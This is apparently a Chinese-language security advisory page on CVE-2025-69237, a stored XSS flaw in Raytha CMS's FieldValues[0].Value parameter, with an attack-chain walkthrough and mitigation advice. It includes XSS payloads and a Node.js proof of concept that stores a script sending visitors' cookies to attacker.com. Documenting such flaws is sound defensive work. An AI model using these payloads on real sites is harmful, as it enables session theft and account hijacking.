IPBUF安全漏洞报告
English
CVE-2025-69237 CVSS 5.4 中危

CVE-2025-69237 Raytha CMS存储型XSS漏洞

披露日期: 2026-03-16

漏洞信息

漏洞编号
CVE-2025-69237
漏洞类型
存储型XSS (Stored Cross-Site Scripting)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Raytha CMS

相关标签

存储型XSSCVE-2025-69237Raytha CMS内容管理系统Web安全漏洞跨站脚本攻击.NET认证用户漏洞

漏洞概述

Raytha CMS是一款基于.NET开发的开源内容管理系统(CMS),广泛应用于构建企业网站和Web应用程序。该系统在页面创建功能中存在一处严重的存储型跨站脚本(Stored XSS)漏洞,漏洞位于FieldValues[0].Value参数。攻击者通过利用该漏洞,可以在网站页面中注入任意HTML代码和JavaScript脚本。由于是存储型XSS,恶意代码会被永久保存在服务器端,所有访问该页面的用户都会自动执行攻击者植入的脚本。这种漏洞可被利用进行多种恶意活动,包括但不限于:窃取用户会话Cookie和登录凭证、劫持用户账户、植入钓鱼页面、重定向用户到恶意网站、修改页面内容进行欺诈传播等。漏洞由安全研究员[email protected]发现并报告。该漏洞影响Raytha CMS 1.4.6之前的所有版本,CVSS评分5.4,属于中等严重程度。攻击虽然需要认证和一定的用户交互,但由于CMS系统通常面向公众开放,具有内容创建权限的用户(如编辑、作者)可能存在被恶意利用的风险。

技术细节

该存储型XSS漏洞源于Raytha CMS在处理页面内容时,未对用户提交的FieldValues[0].Value参数进行充分的输入验证和输出编码。攻击者以具有内容创建权限的认证用户身份登录系统后,可在创建或编辑页面的过程中,通过FieldValues[0].Value参数注入恶意Payload。系统将该内容存储到数据库后,当其他用户访问该页面时,后端从数据库取出未经安全处理的字段值,前端将其直接渲染到HTML中,导致嵌入的JavaScript代码被执行。漏洞利用的关键在于绕过前端可能的简单过滤,因为参数位于JSON结构中,攻击者可构造特定的Payload如:'><script>alert(document.cookie)</script>或使用事件处理器如:' onerror='alert(1)等。成功利用需要三个条件:攻击者拥有有效的Raytha CMS账户且具有页面创建/编辑权限;目标用户访问包含恶意代码的页面;目标用户与攻击者处于同一会话或信任域。攻击者可通过窃取的Cookie进一步劫持管理员账户,从而获取更高的系统权限。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标网站使用的Raytha CMS版本,确认版本低于1.4.6以确定漏洞存在
STEP 2
Authentication
攻击者获取Raytha CMS的有效账户凭据(可通过社会工程学、凭证填充或内部人员获取),并成功登录系统
STEP 3
Payload Preparation
攻击者准备恶意XSS Payload,可使用<script>标签注入、事件处理器(如onerror、onload)或SVG标签等技术绕过基础过滤
STEP 4
Exploitation
通过页面创建/编辑功能,在FieldValues[0].Value参数中注入Payload,系统将其存储到数据库而未进行安全处理
STEP 5
Trigger
普通用户或管理员访问包含恶意代码的页面时,浏览器解析HTML并执行注入的JavaScript脚本
STEP 6
Impact
攻击者成功窃取用户会话Cookie、劫持账户、进行钓鱼攻击或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-69237 PoC - Raytha CMS Stored XSS via FieldValues[0].Value // Authentication required with content creation permissions const fetch = require('node-fetch'); const BASE_URL = 'http://target-website.com'; const LOGIN_ENDPOINT = '/auth/login'; const PAGE_CREATE_ENDPOINT = '/api/pages/create'; // Step 1: Authenticate and obtain session cookie async function login(username, password) { const response = await fetch(`${BASE_URL}${LOGIN_ENDPOINT}`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ username, password }), credentials: 'include' }); return response.headers.get('set-cookie'); } // Step 2: Create page with malicious XSS payload in FieldValues[0].Value async function createPageWithXSS(cookie) { const xssPayload = "'><script>document.location='https://attacker.com/steal?c='+document.cookie</script>"; const pageData = { title: 'Malicious Page', templateId: 'default', FieldValues: [{ Key: 'content_field', Value: xssPayload // XSS injection point }] }; const response = await fetch(`${BASE_URL}${PAGE_CREATE_ENDPOINT}`, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Cookie': cookie }, body: JSON.stringify(pageData) }); return response.json(); } // Execute PoC (async () => { const cookie = await login('attacker_user', 'password123'); const result = await createPageWithXSS(cookie); console.log('Page created:', result); console.log('XSS payload stored. Victims visiting the page will trigger the script.'); })();

影响范围

Raytha CMS < 1.4.6

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:限制内容创建功能的访问权限,仅授予绝对信任的用户该权限;对FieldValues参数实施严格的输入白名单验证,过滤<、>、'、"等特殊字符;启用HTTP Security Headers特别是Content-Security-Policy;监控日志中的异常请求模式;提醒用户不要点击来源不明的链接并及时退出登录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表